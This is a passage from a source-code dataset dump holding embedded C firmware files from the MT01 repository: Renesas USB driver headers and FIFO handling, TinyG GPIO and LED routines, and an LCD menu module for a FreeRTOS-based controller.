port);\nvoid usb_hstd_SetUact(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_OvrcrEnable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_OvrcrDisable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_AttchEnable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_AttchDisable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_DtchEnable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_DtchDisable(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_InterruptHandler(USB_UTR_t *ptr);\nvoid usb_hstd_SetPipeRegister(USB_UTR_t *ptr, uint16_t PipeNo, uint16_t *tbl);\nuint16_t usb_hstd_GetRootport(USB_UTR_t *ptr, uint16_t addr);\nuint16_t usb_hstd_ChkDevAddr(USB_UTR_t *ptr, uint16_t addr, uint16_t rootport);\nuint16_t usb_hstd_GetDevSpeed(USB_UTR_t *ptr, uint16_t addr);\nvoid usb_hstd_VbusControl(USB_UTR_t *ptr, uint16_t port, uint16_t command);\nvoid usb_hstd_SuspendProcess(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_Attach(USB_UTR_t *ptr, uint16_t result, uint16_t port);\nvoid usb_hstd_Detach(USB_UTR_t *ptr, uint16_t port);\nuint16_t usb_hstd_InitConnect(USB_UTR_t *ptr, uint16_t port, uint16_t else_connect_inf );\n\nuint16_t usb_hstd_ChkAttach(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_ChkClk(USB_UTR_t *ptr, uint16_t port, uint16_t event);\nvoid usb_hstd_ChkClk2(USB_UTR_t *ptr, uint16_t else_connect_inf );\nvoid usb_hstd_DetachProcess(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_ReadLnst(USB_UTR_t *ptr, uint16_t port, uint16_t *buf);\nvoid usb_hstd_AttachProcess(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_ChkSof(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_BusReset(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_ResumeProcess(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_Ovrcr0Function(USB_UTR_t *ptr);\nuint16_t usb_hstd_support_speed_check( USB_UTR_t *ptr, uint16_t port );\n\n\n/* r_usb_preg_abs.c */\nvoid usb_pstd_InterruptHandler(USB_UTR_t *ptr);\nvoid usb_pstd_SaveRequest(USB_UTR_t *ptr);\nuint16_t usb_pstd_ChkConfigured(USB_UTR_t *ptr);\nvoid usb_pstd_InterruptEnable(USB_UTR_t *ptr);\nvoid usb_pstd_DpEnable(USB_UTR_t *ptr);\nvoid usb_pstd_DpDisable(USB_UTR_t *ptr);\nvoid usb_pstd_BusReset(USB_UTR_t *ptr);\nvoid usb_pstd_RemoteWakeup(USB_UTR_t *ptr);\nvoid usb_pstd_InitConnect(USB_UTR_t *ptr);\nvoid usb_pstd_TestMode(USB_UTR_t *ptr);\nvoid usb_pstd_AttachProcess(USB_UTR_t *ptr);\nvoid usb_pstd_DetachProcess(USB_UTR_t *ptr);\nvoid usb_pstd_SuspendProcess(USB_UTR_t *ptr);\nvoid usb_pstd_ResumeProcess(USB_UTR_t *ptr);\nuint16_t usb_pstd_ChkVbsts(USB_UTR_t *ptr);\nvoid usb_pstd_SetStall(USB_UTR_t *ptr, uint16_t Pipe);\nvoid usb_pstd_SetStallPipe0(USB_UTR_t *ptr);\n\n\n/* RX_RSK.c */\nvoid usb_cpu_DelayXms(uint16_t time);\nvoid usb_cpu_soft_wait_ms(uint16_t time);\nvoid usb_cpu_Delay1us(uint16_t time);\n\n#ifdef USB_DTC_ENABLE\nvoid usb_cpu_d0fifo2buf_start_dma(USB_UTR_t *ptr, uint32_t SourceAddr);\nvoid usb_cpu_buf2d0fifo_start_dma(USB_UTR_t *ptr, uint32_t DistAdr);\nvoid usb_cpu_d0fifo_stop_dma(USB_UTR_t *ptr);\n#endif /* USB_DTC_ENABLE */\n\nvoid usb_cpu_target_init(void);\nvoid usb_cpu_TargetLcdClear(void);\nvoid usb_cpu_McuInitialize(void);\nvoid usb_cpu_DisableDma(USB_UTR_t *ptr);\nvoid usb_cpu_EnableDma(USB_UTR_t *ptr);\nvoid usb_cpu_d0fifo_restart_dma( USB_UTR_t *ptr );\n\n\n/* resetprg.c */\n\nuint16_t usb_pstd_ControlRead(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table);\nvoid usb_pstd_ControlWrite(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table);\nvoid usb_pstd_ControlEnd(USB_UTR_t *ptr, uint16_t status);\n\n/* r_usb_pDriverAPI.c */\nvoid usb_pstd_SetPipeRegister(USB_UTR_t *ptr, uint16_t PipeNo, uint16_t *tbl);\n\n#ifdef USB_HOST_BC_ENABLE\nvoid usb_hstd_pddetint_process(USB_UTR_t *ptr, uint16_t port);\n#endif /* USB_HOST_BC_ENABLE */\n\n\n#ifdef USB_PERI_BC_ENABLE\nvoid usb_pstd_bc_detect_process(USB_UTR_t *ptr);\n#endif /* USB_PERI_BC_ENABLE */\n\n\n#endif /* __R_USB_CEXTERN_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6173173189163208, "alphanum_fraction": 0.6481156349182129, "avg_line_length": 25.920000076293945, "blob_id": "f2da1218ddb61fbb4157ce0f13ae579d674f63be", "content_id": "525098470e5a23cb6f203f443fe3c913326d5eac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7403, "license_type": "no_license", "max_line_length": 91, "num_lines": 275, "path": "/src/cnc/gpio.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * gpio.c - general purpose IO bits\n * Part of TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n/*\n *\tThis GPIO file is where all parallel port bits are managed that are\n *\tnot already taken up by steppers, serial ports, SPI or PDI programming\n *\n *\tThere are 2 GPIO ports:\n *\n *\t gpio1\t Located on 5x2 header next to the PDI programming plugs (on v7's)\n *\t\t\t\tFour (4) output bits capable of driving 3.3v or 5v logic\n *\n *\t\t\t Note: On v6 and earlier boards there are also 4 inputs:\n *\t\t\t\tFour (4) level converted input bits capable of being driven\n *\t\t\t\tby 3.3v or 5v logic - connected to B0 - B3 (now used for SPI)\n *\n *\t gpio2\t Located on 9x2 header on \"bottom\" edge of the board\n *\t\t\t\tEight (8) non-level converted input bits\n *\t\t\t\tEight (8) ground pins - one each \"under\" each input pin\n *\t\t\t\tTwo (2) 3.3v power pins (on left edge of connector)\n *\t\t\t\tInputs can be used as switch contact inputs or\n *\t\t\t\t\t3.3v input bits depending on port configuration\n *\t\t\t\t\t**** These bits CANNOT be used as 5v inputs ****\n */\n#ifdef __RX\n#include \"platform.h\"\n\n#include \"tinyg.h\"\n#include \"util.h\"\n#include \"config.h\"\n#include \"controller.h\"\n#include \"hardware.h\"\n//#include \"switch.h\"\n#include \"gpio.h\"\n#include \"canonical_machine.h\"\n#include \"xio.h\"\t\t\t\t\t\t// signals\n\n//======================== Parallel IO Functions ===============================\n\n/*\n * IndicatorLed_set() \t- fake out for IndicatorLed.set() until we get Motate running\n * IndicatorLed_clear() - fake out for IndicatorLed.clear() until we get Motate running\n * IndicatorLed_toggle()- fake out for IndicatorLed.toggle() until we get Motate running\n */\n\nvoid IndicatorLed_set()\n{\n\n\tcs.led_state = 1;\n}\n\nvoid IndicatorLed_clear()\n{\n\n\tcs.led_state = 0;\n}\n\nvoid IndicatorLed_toggle()\n{\n\tif (cs.led_state == 0) {\n\n\t\tcs.led_state = 1;\n\t} else {\n\n\t\tcs.led_state = 0;\n\t}\n}\n\n/*\n * gpio_led_on() - turn led on - assumes TinyG LED mapping\n * gpio_led_off() - turn led on - assumes TinyG LED mapping\n * gpio_led_toggle()\n */\n\nvoid gpio_led_on(uint8_t led)\n{\n\n}\n\nvoid gpio_led_off(uint8_t led)\n{\n\n}\n\nvoid gpio_led_toggle(uint8_t led)\n{\n\n}\n\n/*\n * gpio_read_bit() - return true if bit is on, false if off\n * gpio_set_bit_on() - turn bit on\n * gpio_set_bit_off() - turn bit on\n *\n *\tThese functions have an inner remap depending on what hardware is running\n */\n\nuint8_t gpio_read_bit(uint8_t b)\n{\n\n\treturn (0);\n}\n\nvoid gpio_set_bit_on(uint8_t b)\n{\n\n}\n\nvoid gpio_set_bit_off(uint8_t b)\n{\n\n}\n#endif\n\n#ifdef __AVR\n#include <avr/interrupt.h>\n\n#include \"tinyg.h\"\n#include \"util.h\"\n#include \"config.h\"\n#include \"controller.h\"\n#include \"hardware.h\"\n//#include \"switch.h\"\n#include \"gpio.h\"\n#include \"canonical_machine.h\"\n#include \"xio.h\"\t\t\t\t\t\t// signals\n\n//======================== Parallel IO Functions ===============================\n\n/*\n * IndicatorLed_set() \t- fake out for IndicatorLed.set() until we get Motate running\n * IndicatorLed_clear() - fake out for IndicatorLed.clear() until we get Motate running\n * IndicatorLed_toggle()- fake out for IndicatorLed.toggle() until we get Motate running\n */\n\nvoid IndicatorLed_set()\n{\n\tgpio_led_on(INDICATOR_LED);\n\tcs.led_state = 1;\n}\n\nvoid IndicatorLed_clear()\n{\n\tgpio_led_off(INDICATOR_LED);\n\tcs.led_state = 0;\n}\n\nvoid IndicatorLed_toggle()\n{\n\tif (cs.led_state == 0) {\n\t\tgpio_led_on(INDICATOR_LED);\n\t\tcs.led_state = 1;\n\t} else {\n\t\tgpio_led_off(INDICATOR_LED);\n\t\tcs.led_state = 0;\n\t}\n}\n\n/*\n * gpio_led_on() - turn led on - assumes TinyG LED mapping\n * gpio_led_off() - turn led on - assumes TinyG LED mapping\n * gpio_led_toggle()\n */\n\nvoid gpio_led_on(uint8_t led)\n{\n//\tif (led == 0) return (gpio_set_bit_on(0x08));\n//\tif (led == 1) return (gpio_set_bit_on(0x04));\n//\tif (led == 2) return (gpio_set_bit_on(0x02));\n//\tif (led == 3) return (gpio_set_bit_on(0x01));\n\n\tif (led == 0) gpio_set_bit_on(0x08); else\n\tif (led == 1) gpio_set_bit_on(0x04); else\n\tif (led == 2) gpio_set_bit_on(0x02); else\n\tif (led == 3) gpio_set_bit_on(0x01);\n}\n\nvoid gpio_led_off(uint8_t led)\n{\n//\tif (led == 0) return (gpio_set_bit_off(0x08));\n//\tif (led == 1) return (gpio_set_bit_off(0x04));\n//\tif (led == 2) return (gpio_set_bit_off(0x02));\n//\tif (led == 3) return (gpio_set_bit_off(0x01));\n\n\tif (led == 0) gpio_set_bit_off(0x08); else\n\tif (led == 1) gpio_set_bit_off(0x04); else\n\tif (led == 2) gpio_set_bit_off(0x02); else\n\tif (led == 3) gpio_set_bit_off(0x01);\n}\n\nvoid gpio_led_toggle(uint8_t led)\n{\n\tif (led == 0) {\n\t\tif (gpio_read_bit(0x08)) {\n\t\t\tgpio_set_bit_off(0x08);\n\t\t} else {\n\t\t\tgpio_set_bit_on(0x08);\n\t\t}\n\t} else if (led == 1) {\n\t\tif (gpio_read_bit(0x04)) {\n\t\t\tgpio_set_bit_off(0x04);\n\t\t} else {\n\t\t\tgpio_set_bit_on(0x04);\n\t\t}\n\t} else if (led == 2) {\n\t\tif (gpio_read_bit(0x02)) {\n\t\t\tgpio_set_bit_off(0x02);\n\t\t} else {\n\t\t\tgpio_set_bit_on(0x02);\n\t\t}\n\t} else if (led == 3) {\n\t\tif (gpio_read_bit(0x08)) {\n\t\t\tgpio_set_bit_off(0x08);\n\t\t} else {\n\t\t\tgpio_set_bit_on(0x08);\n\t\t}\n\t}\n}\n\n/*\n * gpio_read_bit() - return true if bit is on, false if off\n * gpio_set_bit_on() - turn bit on\n * gpio_set_bit_off() - turn bit on\n *\n *\tThese functions have an inner remap depending on what hardware is running\n */\n\nuint8_t gpio_read_bit(uint8_t b)\n{\n\tif (b & 0x08) { return (hw.out_port[0]->IN & GPIO1_OUT_BIT_bm); }\n\tif (b & 0x04) { return (hw.out_port[1]->IN & GPIO1_OUT_BIT_bm); }\n\tif (b & 0x02) { return (hw.out_port[2]->IN & GPIO1_OUT_BIT_bm); }\n\tif (b & 0x01) { return (hw.out_port[3]->IN & GPIO1_OUT_BIT_bm); }\n\treturn (0);\n}\n\nvoid gpio_set_bit_on(uint8_t b)\n{\n\tif (b & 0x08) { hw.out_port[0]->OUTSET = GPIO1_OUT_BIT_bm; }\n\tif (b & 0x04) { hw.out_port[1]->OUTSET = GPIO1_OUT_BIT_bm; }\n\tif (b & 0x02) { hw.out_port[2]->OUTSET = GPIO1_OUT_BIT_bm; }\n\tif (b & 0x01) { hw.out_port[3]->OUTSET = GPIO1_OUT_BIT_bm; }\n}\n\nvoid gpio_set_bit_off(uint8_t b)\n{\n\tif (b & 0x08) { hw.out_port[0]->OUTCLR = GPIO1_OUT_BIT_bm; }\n\tif (b & 0x04) { hw.out_port[1]->OUTCLR = GPIO1_OUT_BIT_bm; }\n\tif (b & 0x02) { hw.out_port[2]->OUTCLR = GPIO1_OUT_BIT_bm; }\n\tif (b & 0x01) { hw.out_port[3]->OUTCLR = GPIO1_OUT_BIT_bm; }\n}\n#endif\n" }, { "alpha_fraction": 0.4392395615577698, "alphanum_fraction": 0.44930416345596313, "avg_line_length": 45.5260124206543, "blob_id": "53c5713739e3bcf3e2aee457630de686ad8b7442", "content_id": "b4f81e749093f6c59a93f4d2c5fc3f6829e559bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8048, "license_type": "no_license", "max_line_length": 120, "num_lines": 173, "path": "/r_usb_basic/src/driver/peri/r_usb_pintfifo.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_pintfifo.c\n* Description : USB Peripheral FIFO access code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nRenesas Abstracted Peripheral FIFO access functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_BrdyPipe\nDescription : Execute data transfer for the PIPE for which a BRDY interrupt \n : occurred.\nArguments : uint16_t bitsts : BRDYSTS register & BRDYENB register.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_BrdyPipe(USB_UTR_t *ptr, uint16_t bitsts)\n{\n /* When operating by the peripheral function, usb_cstd_brdy_pipe() is executed with PIPEx request because */\n /* two BRDY messages are issued even when the demand of PIPE0 and PIPEx has been generated at the same time. */\n if( (bitsts & USB_BRDY0) == USB_BRDY0 )\n {\n switch( usb_cstd_read_data( ptr, USB_PIPE0, USB_CUSE ) )\n {\n /* End of data read */\n case USB_READEND:\n /* Continue */\n /* End of data read */\n case USB_READSHRT:\n usb_creg_clr_brdyenb(ptr, (uint16_t)USB_PIPE0);\n break;\n /* Continue of data read */\n case USB_READING:\n /* PID = BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n /* FIFO access error */\n case USB_READOVER:\n USB_PRINTF0(\"### Receive data over PIPE0 \\n\");\n /* Clear BVAL */\n usb_creg_set_bclr( ptr, USB_CUSE );\n /* Control transfer stop(end) */\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_DATA_OVR);\n break;\n /* FIFO access error */\n case USB_FIFOERROR:\n USB_PRINTF0(\"### FIFO access error \\n\");\n /* Control transfer stop(end) */\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n break;\n default:\n break;\n }\n }\n else\n {\n /* not PIPE0 */\n usb_cstd_BrdyPipe(ptr, bitsts);\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_BrdyPipe\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_NrdyPipe\nDescription : Execute appropriate processing for the PIPE for which a NRDY \n : interrupt occurred.\nArguments : uint16_t bitsts : NRDYSTS register & NRDYENB register.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_NrdyPipe(USB_UTR_t *ptr, uint16_t bitsts)\n{\n /* The function for peripheral driver is created here. */\n if( (bitsts & USB_NRDY0) == USB_NRDY0 )\n {\n }\n else\n {\n /* Nrdy Pipe interrupt */\n usb_cstd_NrdyPipe(ptr, bitsts);\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_NrdyPipe\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_BempPipe\nDescription : Execute data transfer for the PIPE for which a BEMP interrupt \n : occurred.\nArguments : uint16_t bitsts : BEMPSTS register & BEMPENB register.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_BempPipe(USB_UTR_t *ptr, uint16_t bitsts)\n{\n /* When operating by the peripheral function, usb_cstd_bemp_pipe() is executed with PIPEx request because */\n /* two BEMP messages are issued even when the demand of PIPE0 and PIPEx has been generated at the same time. */\n if( (bitsts & USB_BEMP0) == USB_BEMP0 )\n {\n switch( usb_cstd_write_data( ptr, USB_PIPE0, USB_CUSE ) )\n {\n /* End of data write (not null) */\n case USB_WRITEEND:\n /* Continue */\n /* End of data write */\n case USB_WRITESHRT:\n /* Enable empty interrupt */\n usb_creg_clr_bempenb(ptr, (uint16_t)USB_PIPE0);\n break;\n /* Continue of data write */\n case USB_WRITING:\n /* PID = BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n /* FIFO access error */\n case USB_FIFOERROR:\n USB_PRINTF0(\"### FIFO access error \\n\");\n /* Control transfer stop(end) */\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n break;\n default:\n break;\n }\n }\n else\n {\n /* BEMP interrupt */\n usb_cstd_BempPipe(ptr, bitsts);\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_BempPipe\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/" }, { "alpha_fraction": 0.5052186846733093, "alphanum_fraction": 0.5121769309043884, "avg_line_length": 21.48044776916504, "blob_id": "077d5ec7ba5a0ca96c62373ee9f6ca824c66c7fb", "content_id": "7550b2ccd875d15d5109b4e1b0268209a8bb5e04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4024, "license_type": "no_license", "max_line_length": 139, "num_lines": 179, "path": "/src/Display/lcd_menu.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "// ***********************************************************************\n// LCD menu\n// ***********************************************************************\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n//************************************************************************\n// Projekt includes\t\t\t\t\t\t// Include your own functions here\n//************************************************************************\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd_menu.h\"\n#include \"lcd.h\"\n\n// ***********************************************************************\n// Variable definitions\n// ***********************************************************************\n\n// ***********************************************************************\n// Init menu function\n// ***********************************************************************\nvoid ut_menu_init(ut_menu* menu_ptr)\n{\n\tmemset((void *)menu_ptr, 0, sizeof(ut_menu));\n\n\tmenu_ptr->maxItemsPerPage = MAX_ROW - 1;\n//\tmenu_ptr->maxItemsPerPage = MAX_ROW;\n\tmenu_ptr->boShowTitle = true;\n}\n\n/**\n *\n */\nvoid ut_menu_go_up(ut_menu* menu_ptr)\n{\n\tif(menu_ptr->selectedItem > 0)\n\t{\n\t\t/* If selection is the first item in screen */\n\t\tif(menu_ptr->selectedItem == menu_ptr->offset && menu_ptr->offset > 0)\n\t\t{\n\t\t\tmenu_ptr->offset--;\n\t\t}\n\t\tmenu_ptr->selectedItem--;\n\t}\n}\n\n/**\n *\n */\nvoid ut_menu_go_down(ut_menu* menu_ptr)\n{\n\t/* Check if it is last position */\n\tif(menu_ptr->selectedItem < (menu_ptr->numItems - 1))\n\t{\n\t\t/* Last screen position and selected item */\n\t\tif((menu_ptr->selectedItem == (menu_ptr->offset + menu_ptr->maxItemsPerPage - 1)) &&\n\t\t\t\t((menu_ptr->offset + menu_ptr->maxItemsPerPage) < menu_ptr->numItems))\n\t\t{\n\t\t\tmenu_ptr->offset++;\n\t\t}\n\n\t\tmenu_ptr->selectedItem++;\n\t}\n\n}\n\n// ***********************************************************************\n// Show menu function\n// ***********************************************************************\nvoid ut_menu_show(ut_menu* menu_ptr)\n{\n\tuint8_t row = 0;\n\n\tut_lcd_clear();\n\t/* Title handling */\n\tif(menu_ptr->boShowTitle)\n\t{\n\t\t/* Clear previous data */\n\t//\tut_lcd_clear();\n\t\tut_lcd_clear_str();\n\t\t/* Copy data */\n\t//\tut_lcd_drawString(row++, 0, menu_ptr->title, true);\n\n\t\tut_lcd_drawStr(row++, 0, menu_ptr->title, BACKGROUND_FRAMED,ITEM_NO_MARKED,u8g_font_helvB08);\n\n\t}\n\n\t/* Items */\n\tuint8_t menuItem = menu_ptr->offset;\n\tfor(; (menuItem < menu_ptr->numItems) && (row < (menu_ptr->maxItemsPerPage+1)); row++, menuItem++)\n\t{\n\t//\tut_lcd_drawString(row, 0, menu_ptr->items[menuItem].text, (menuItem == menu_ptr->selectedItem));\n\t\tut_lcd_drawStr(row, 0, menu_ptr->items[menuItem].text, (menuItem == menu_ptr->selectedItem),(menu_ptr->itemMarked == row),u8g_font_6x10);\n\t}\n\n\t/* Put on screen */\n\t//ut_lcd_output();\n\tut_lcd_output_str(menu_ptr->currentState);\n}\n\n/**\n *\n * @param menu_ptr\n * @param timeout\n * @return\n */\nint8_t ut_menu_browse(ut_menu* menu_ptr, uint32_t timeout)\n{\n\tuint32_t keyEntry;\n\n\t/* show menu */\n\tut_menu_show(menu_ptr);\n\n\t/* Wait for keyboard */\n\twhile(xQueueReceive( qKeyboard, &keyEntry, timeout ) && menu_ptr->selectedItem < menu_ptr->numItems)\n\t{\n\t\t/* Check which key */\n\t\tswitch (keyEntry)\n\t\t{\n\t\tcase KEY_DOWN:\n\t\t\tiif_func_down();\n\t\t\tut_menu_go_down(menu_ptr);\n\t\t\tbreak;\n\n\t\tcase KEY_UP:\n\t\t\tiif_func_up();\n\t\t\tut_menu_go_up(menu_ptr);\n\t\t\tbreak;\n\n\t\tcase KEY_RIGHT:\n\t\t\tiif_func_right();\n\t\t\tbreak;\n\n\t\tcase KEY_LEFT:\n\t\t\tiif_func_left();\n\t\t\tbreak;\n\n\t\tcase KEY_Z_UP:\n\t\t\tiif_func_zup();\n\t\t\tbreak;\n\n\t\tcase KEY_Z_DOWN:\n\t\t\tiif_func_zdown();\n\t\t\tbreak;\n\n\t\tcase KEY_ENTER:\n\t\t\t/* Callback function, if any */\n\t\t\tiif_func_enter();\n\t\t\tif(menu_ptr->items[menu_ptr->selectedItem].callback_func)\n\t\t\t{\n\t\t\t\tmenu_ptr->items[menu_ptr->selectedItem].callback_func(menu_ptr->selectedItem);\n\t\t\t}\n\t\t\treturn menu_ptr->selectedItem;\n\n\t\tcase KEY_ESC:\n\t\t\tiif_func_esc();\n\t\t\treturn -1;\n\n\t\tcase KEY_RELEASED:\n\t\t\tiif_func_released();\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\t/* Show again */\n\t\tut_menu_show(menu_ptr);\n\t}\n\n\t/* Timeout */\n\treturn -2;\n}\n" }, { "alpha_fraction": 0.43496668338775635, "alphanum_fraction": 0.4554292559623718, "avg_line_length": 45.72161102294922, "blob_id": "a1030b9664ebb3b643b0613a4f02549ee6fbc332", "content_id": "cc646b7a72d9d96c36fb3538d510b6cbebb4c308", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 12755, "license_type": "no_license", "max_line_length": 120, "num_lines": 273, "path": "/r_usb_basic/src/driver/inc/r_usb_ctypedef.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_ctypedef.h\n* Description : Type Definition Header File\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_CTYPEDEF_H__\n#define __R_USB_CTYPEDEF_H__\n\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include <stdint.h>\n\n#include \"r_usb_basic_config.h\"\n\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\n typedef void* VP; /* Pointer to variable */\n typedef long ER; /* Error code */\n typedef short ID; /* Object ID (xxxid) */\n typedef long TMO; /* Time out */\n typedef long VP_INT; /* Integer data */\n\n /*----------- msghead -----------*/\n typedef struct\n {\n VP msghead; /* Message header */\n } T_MSG;\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\n typedef T_MSG USB_MSG_t; /* ITRON message */\n typedef ER USB_ER_t; /* ITRON system call err */\n typedef ID USB_ID_t; /* ITRON system call define */\n typedef TMO USB_TM_t; /* ITRON time out */\n typedef VP USB_MH_t; /* ITRON Message Header */\n typedef VP_INT USB_VP_INT_t;\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\ntypedef struct st_usb 